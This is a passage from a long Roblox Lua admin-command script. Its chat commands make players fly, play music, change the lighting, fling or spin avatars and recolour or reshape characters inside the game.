  7361. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  7362. end
  7363. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  7364. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  7365. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  7366. local torso = plr.Character.Torso
  7367. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  7368. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  7369. p.Size = Vector3.new(.2,.2,.2)
  7370. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  7371. local motor1 = Instance.new("Motor", p)
  7372. motor1.Part0 = p
  7373. motor1.Part1 = torso
  7374. motor1.MaxVelocity = .01
  7375. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  7376. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  7377. local wave = false
  7378. repeat wait(1/44)
  7379. local ang = 0.1
  7380. local oldmag = torso.Velocity.magnitude
  7381. local mv = .002
  7382. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  7383. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  7384. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  7385. motor1.DesiredAngle = -ang
  7386. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  7387. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
  7388. if torso.Velocity.magnitude < .1 then wait(.1) end
  7389. until not p or p.Parent ~= torso.Parent
  7390. script:Destroy()
  7391. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  7392. end
  7393. end))
  7394. end
  7395. end
  7396.  
  7397. if msg:lower():sub(1,6) == "music " then
  7398. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  7399. local id = msg:sub(7)
  7400. local pitch = 1
  7401. if tostring(id):lower():find("caramell") then id = 2303479 end
  7402. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  7403. if tostring(id):find("rick") then id = 2027611 end
  7404. if tostring(id):find("halo") then id = 1034065  end
  7405. if tostring(id):find("pokemon") then id = 1372261 end
  7406. if tostring(id):find("cursed") then id = 1372257 end
  7407. if tostring(id):find("extreme") then id = 11420933 end
  7408. if tostring(id):find("awaken") then id = 27697277 end
  7409. if tostring(id):find("alone") then id = 27697392 end
  7410. if tostring(id):find("mario") then id = 1280470 end
  7411. if tostring(id):find("choir") then id = 1372258 end
  7412. if tostring(id):find("chrono") then id = 1280463 end
  7413. if tostring(id):find("dotr") then id = 11420922 end
  7414. if tostring(id):find("entertain") then id = 27697267 end
  7415. if tostring(id):find("fantasy") then id = 1280473 end
  7416. if tostring(id):find("final") then id = 1280414 end
  7417. if tostring(id):find("emblem") then id = 1372259 end
  7418. if tostring(id):find("flight") then id = 27697719 end
  7419. if tostring(id):find("banjo") then id = 27697298 end
  7420. if tostring(id):find("gothic") then id = 27697743 end
  7421. if tostring(id):find("hiphop") then id = 27697735 end
  7422. if tostring(id):find("intro") then id = 27697707 end
  7423. if tostring(id):find("mule") then id = 1077604 end
  7424. if tostring(id):find("film") then id = 27697713 end
  7425. if tostring(id):find("nezz") then id = 8610025 end
  7426. if tostring(id):find("angel") then id = 1372260 end
  7427. if tostring(id):find("resist") then id = 27697234 end
  7428. if tostring(id):find("schala") then id = 5985787 end
  7429. if tostring(id):find("organ") then id = 11231513 end
  7430. if tostring(id):find("tunnel") then id = 9650822 end
  7431. if tostring(id):find("spanish") then id = 5982975 end
  7432. if tostring(id):find("venom") then id = 1372262 end
  7433. if tostring(id):find("wind") then id = 1015394 end
  7434. if tostring(id):find("guitar") then id = 5986151 end
  7435. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  7436. end
  7437.  
  7438. if msg:lower() == "stopmusic" then
  7439. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  7440. end
  7441.  
  7442. if msg:lower() == "musiclist" then
  7443. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  7444. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  7445. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  7446. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  7447. end
  7448.  
  7449. if msg:lower():sub(1,4) == "fly " then
  7450. local plrz = GetPlr(plr, msg:lower():sub(5))
  7451. for i, v in pairs(plrz) do
  7452. coroutine.resume(coroutine.create(function()
  7453. if v and v:findFirstChild("PlayerGui") then
  7454. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  7455. local mouse = game.Players.LocalPlayer:GetMouse()
  7456. repeat wait() until mouse
  7457. local plr = game.Players.LocalPlayer
  7458. local torso = plr.Character.Torso
  7459. local flying = true
  7460. local deb = true
  7461. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  7462. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  7463. local maxspeed = 50
  7464. local speed = 0
  7465. function Fly()
  7466. local bg = Instance.new("BodyGyro", torso)
  7467. bg.P = 9e4
  7468. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  7469. bg.cframe = torso.CFrame
  7470. local bv = Instance.new("BodyVelocity", torso)
  7471. bv.velocity = Vector3.new(0,0.1,0)
  7472. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  7473. repeat wait()
  7474. plr.Character.Humanoid.PlatformStand = true
  7475. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  7476. speed = speed+.5+(speed/maxspeed)
  7477. if speed > maxspeed then
  7478. speed = maxspeed
  7479. end
  7480. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  7481. speed = speed-1
  7482. if speed < 0 then
  7483. speed = 0
  7484. end
  7485. end
  7486. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  7487. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  7488. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  7489. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  7490. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  7491. else
  7492. bv.velocity = Vector3.new(0,0.1,0)
  7493. end
  7494. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  7495. until not flying
  7496. ctrl = {f = 0, b = 0, l = 0, r = 0}
  7497. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  7498. speed = 0
  7499. bg:Destroy()
  7500. bv:Destroy()
  7501. plr.Character.Humanoid.PlatformStand = false
  7502. end
  7503. mouse.KeyDown:connect(function(key)
  7504. if key:lower() == "e" then
  7505. if flying then flying = false
  7506. else
  7507. flying = true
  7508. Fly()
  7509. end
  7510. elseif key:lower() == "w" then
  7511. ctrl.f = 1
  7512. elseif key:lower() == "s" then
  7513. ctrl.b = -1
  7514. elseif key:lower() == "a" then
  7515. ctrl.l = -1
  7516. elseif key:lower() == "d" then
  7517. ctrl.r = 1
  7518. end
  7519. end)
  7520. mouse.KeyUp:connect(function(key)
  7521. if key:lower() == "w" then
  7522. ctrl.f = 0
  7523. elseif key:lower() == "s" then
  7524. ctrl.b = 0
  7525. elseif key:lower() == "a" then
  7526. ctrl.l = 0
  7527. elseif key:lower() == "d" then
  7528. ctrl.r = 0
  7529. end
  7530. end)
  7531. Fly()]]
  7532. cl.Parent = v.PlayerGui cl.Disabled = false
  7533. end
  7534. end))
  7535. end
  7536. end
  7537.  
  7538. if msg:lower():sub(1,6) == "unfly " then
  7539. local plrz = GetPlr(plr, msg:lower():sub(7))
  7540. for i, v in pairs(plrz) do
  7541. coroutine.resume(coroutine.create(function()
  7542. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  7543. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  7544. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  7545. wait(.1) v.Character.Humanoid.PlatformStand = false
  7546. end
  7547. end))
  7548. end
  7549. end
  7550.  
  7551. if msg:lower() == "disco" then
  7552. for i, v in pairs(lobjs) do v:Destroy() end
  7553. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  7554. game.Lighting.Ambient = color
  7555. game.Lighting.FogColor = color
  7556. until nil]]
  7557. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  7558. end
  7559.  
  7560. if msg:lower() == "flash" then
  7561. for i, v in pairs(lobjs) do v:Destroy() end
  7562. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  7563. game.Lighting.Ambient = Color3.new(1,1,1)
  7564. game.Lighting.FogColor = Color3.new(1,1,1)
  7565. game.Lighting.Brightness = 1
  7566. game.Lighting.TimeOfDay = 14
  7567. wait(.1)
  7568. game.Lighting.Ambient = Color3.new(0,0,0)
  7569. game.Lighting.FogColor = Color3.new(0,0,0)
  7570. game.Lighting.Brightness = 0
  7571. game.Lighting.TimeOfDay = 0
  7572. until nil]]
  7573. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  7574. end
  7575.  
  7576. if msg:lower():sub(1,5) == "spin " then
  7577. local plrz = GetPlr(plr, msg:lower():sub(6))
  7578. for i, v in pairs(plrz) do
  7579. coroutine.resume(coroutine.create(function()
  7580. if v and v.Character and v.Character:findFirstChild("Torso") then
  7581. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  7582. local torso = v.Character:findFirstChild("Torso")
  7583. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  7584. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  7585. until not bg or bg.Parent ~= torso
  7586. end
  7587. end))
  7588. end
  7589. end
  7590.  
  7591. if msg:lower():sub(1,7) == "unspin " then
  7592. local plrz = GetPlr(plr, msg:lower():sub(8))
  7593. for i, v in pairs(plrz) do
  7594. coroutine.resume(coroutine.create(function()
  7595. if v and v.Character and v.Character:findFirstChild("Torso") then
  7596. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  7597. end
  7598. end))
  7599. end
  7600. end
  7601.  
  7602. if msg:lower():sub(1,4) == "dog " then
  7603. local plrz = GetPlr(plr, msg:lower():sub(5))
  7604. for i, v in pairs(plrz) do
  7605. coroutine.resume(coroutine.create(function()
  7606. if v and v.Character and v.Character:findFirstChild("Torso") then
  7607. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7608. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7609. v.Character.Torso.Transparency = 1
  7610. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7611. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  7612. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  7613. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  7614. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  7615. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  7616. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  7617. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  7618. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  7619. end
  7620. end))
  7621. end
  7622. end
  7623.  
  7624. if msg:lower():sub(1,6) == "undog " then
  7625. local plrz = GetPlr(plr, msg:lower():sub(7))
  7626. for i, v in pairs(plrz) do
  7627. coroutine.resume(coroutine.create(function()
  7628. if v and v.Character and v.Character:findFirstChild("Torso") then
  7629. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  7630. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  7631. v.Character.Torso.Transparency = 0
  7632. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7633. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  7634. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  7635. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  7636. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  7637. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  7638. end
  7639. end))
  7640. end
  7641. end
  7642.  
  7643. if msg:lower():sub(1,8) == "creeper " then
  7644. local plrz = GetPlr(plr, msg:lower():sub(9))
  7645. for i, v in pairs(plrz) do
  7646. coroutine.resume(coroutine.create(function()
  7647. if v and v.Character and v.Character:findFirstChild("Torso") then
  7648. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7649. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7650. v.Character.Torso.Transparency = 0
  7651. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7652. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  7653. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  7654. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  7655. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  7656. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  7657. end
  7658. end))
  7659. end
  7660. end
  7661.  
  7662. if msg:lower():sub(1,10) == "uncreeper " then
  7663. local plrz = GetPlr(plr, msg:lower():sub(11))
  7664. for i, v in pairs(plrz) do
  7665. coroutine.resume(coroutine.create(function()
  7666. if v and v.Character and v.Character:findFirstChild("Torso") then
  7667. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  7668. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  7669. v.Character.Torso.Transparency = 0
  7670. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7671. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  7672. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  7673. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  7674. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  7675. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  7676. end
  7677. end))
  7678. end
  7679. end
  7680.  
  7681. if msg:lower():sub(1,8) == "bighead " then
  7682. local plrz = GetPlr(plr, msg:lower():sub(9))
  7683. for i, v in pairs(plrz) do
  7684. coroutine.resume(coroutine.create(function()
  7685. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  7686. end))
  7687. end
  7688. end
  7689.  
  7690. if msg:lower():sub(1,9) == "minihead " then
  7691. local plrz = GetPlr(plr, msg:lower():sub(10))
  7692. for i, v in pairs(plrz) do
  7693. coroutine.resume(coroutine.create(function()
  7694. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  7695. end))
  7696. end
  7697. end
  7698.  
  7699. if msg:lower():sub(1,6) == "fling " then
  7700. local plrz = GetPlr(plr, msg:lower():sub(7))
  7701. for i, v in pairs(plrz) do
  7702. coroutine.resume(coroutine.create(function()
  7703. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  7704. local xran local zran
  7705. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  7706. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  7707. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  7708. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  7709. end
  7710. end))
  7711. end
  7712. end
  7713.  
  7714. if msg:lower():sub(1,8) == "seizure " then
  7715. local plrz = GetPlr(plr, msg:lower():sub(9))
  7716. for i, v in pairs(plrz) do
  7717. coroutine.resume(coroutine.create(function()
  7718. if v and v.Character then
  7719. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  7720. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  7721. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  7722. end
  7723. end))
  7724. end
  7725. end
  7726.  
  7727. if msg:lower():sub(1,10) == "unseizure " then
  7728. local plrz = GetPlr(plr, msg:lower():sub(11))
  7729. for i, v in pairs(plrz) do
  7730. coroutine.resume(coroutine.create(function()
  7731. if v and v.Character then
  7732. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  7733. wait(.1) v.Character.Humanoid.PlatformStand = false
  7734. end
  7735. end))
  7736. end
  7737. end
  7738.  
  7739. if msg:lower():sub(1,12) == "removelimbs " then
  7740. local plrz = GetPlr(plr, msg:lower():sub(13))
  7741. for i, v in pairs(plrz) do
  7742. coroutine.resume(coroutine.create(function()
  7743. if v and v.Character then
  7744. for a, obj in pairs(v.Character:children()) do
  7745. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  7746. end
  7747. end
  7748. end))
  7749. end
  7750. end
  7751.  
  7752. if msg:lower():sub(1,5) == "name " then
  7753. local chk1 = msg:lower():sub(6):find(" ") + 5
  7754. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7755. for i, v in pairs(plrz) do
  7756. coroutine.resume(coroutine.create(function()
  7757. if v and v.Character and v.Character:findFirstChild("Head") then
  7758. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  7759. local char = v.Character
  7760. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  7761. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  7762. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  7763. char.Head.Transparency = 1
  7764. end
  7765. end))
  7766. end
  7767. end
  7768.  
  7769. if msg:lower():sub(1,7) == "unname " then
  7770. local plrz = GetPlr(plr, msg:lower():sub(8))
  7771. for i, v in pairs(plrz) do
  7772. coroutine.resume(coroutine.create(function()
  7773. if v and v.Character and v.Character:findFirstChild("Head") then
  7774. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  7775. end
  7776. end))
  7777. end
  7778. end
  7779.  
  7780. if msg:lower():sub(1,5) == "char " then
  7781. local chk1 = msg:lower():sub(6):find(" ") + 5
  7782. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7783. for i, v in pairs(plrz) do
  7784. coroutine.resume(coroutine.create(function()
  7785. if v and v.Character then
  7786. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  7787. v:LoadCharacter()
  7788. end
  7789. end))
  7790. end
  7791. end
  7792.  
  7793. if msg:lower():sub(1,7) == "unchar " then
  7794. local plrz = GetPlr(plr, msg:lower():sub(8))
  7795. for i, v in pairs(plrz) do
  7796. coroutine.resume(coroutine.create(function()
  7797. if v and v.Character then
  7798. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  7799. v:LoadCharacter()
  7800. end
  7801. end))
  7802. end
  7803. end
  7804.  
  7805. if msg:lower():sub(1,7) == "infect " then
  7806. local plrz = GetPlr(plr, msg:lower():sub(8))
  7807. for i, v in pairs(plrz) do
  7808. coroutine.resume(coroutine.create(function()
  7809. if v and v.Character then
  7810. Infect(v.Character)
  7811. end
  7812. end))
  7813. end
  7814. end
  7815.  
  7816. if msg:lower():sub(1,11) == "rainbowify " then
  7817. local plrz = GetPlr(plr, msg:lower():sub(12))
  7818. for i, v in pairs(plrz) do
  7819. coroutine.resume(coroutine.create(function()
  7820. if v and v.Character and v.Character:findFirstChild("Torso") then
  7821. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7822. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7823. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7824. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  7825. cl.Parent = v.Character cl.Disabled = false
  7826. end
  7827. end))
  7828. end
  7829. end
  7830.  
  7831. if msg:lower():sub(1,9) == "flashify " then
  7832. local plrz = GetPlr(plr, msg:lower():sub(10))
  7833. for i, v in pairs(plrz) do
  7834. coroutine.resume(coroutine.create(function()
  7835. if v and v.Character and v.Character:findFirstChild("Torso") then
  7836. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7837. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7838. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7839. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  7840. cl.Parent = v.Character cl.Disabled = false
  7841. end
  7842. end))
  7843. end
  7844. end
  7845.  
  7846. if msg:lower():sub(1,8) == "noobify " then
  7847. local plrz = GetPlr(plr, msg:lower():sub(9))
  7848. for i, v in pairs(plrz) do
  7849. coroutine.resume(coroutine.create(function()
  7850. if v and v.Character then
  7851. Noobify(v.Character)
  7852. end
  7853. end))
  7854. end
  7855. end
  7856.  
  7857. if msg:lower():sub(1,9) == "ghostify " then
  7858. local plrz = GetPlr(plr, msg:lower():sub(10))
  7859. for i, v in pairs(plrz) do
  7860. coroutine.resume(coroutine.create(function()
  7861. if v and v.Character and v.Character:findFirstChild("Torso") then
  7862. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7863. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7864. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7865. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7866. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  7867. if prt.Name:find("Leg") then prt.Transparency = 1 end
  7868. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  7869. end end
  7870. end
  7871. end))
  7872. end
  7873. end
  7874.  
  7875. if msg:lower():sub(1,8) == "goldify " then
  7876. local plrz = GetPlr(plr, msg:lower():sub(9))
  7877. for i, v in pairs(plrz) do
  7878. coroutine.resume(coroutine.create(function()
  7879. if v and v.Character and v.Character:findFirstChild("Torso") then
  7880. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7881. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7882. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7883. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7884. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  7885. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  7886. end end
  7887. end
  7888. end))
  7889. end
  7890. end
  7891.  
  7892. if msg:lower():sub(1,6) == "shiny " then
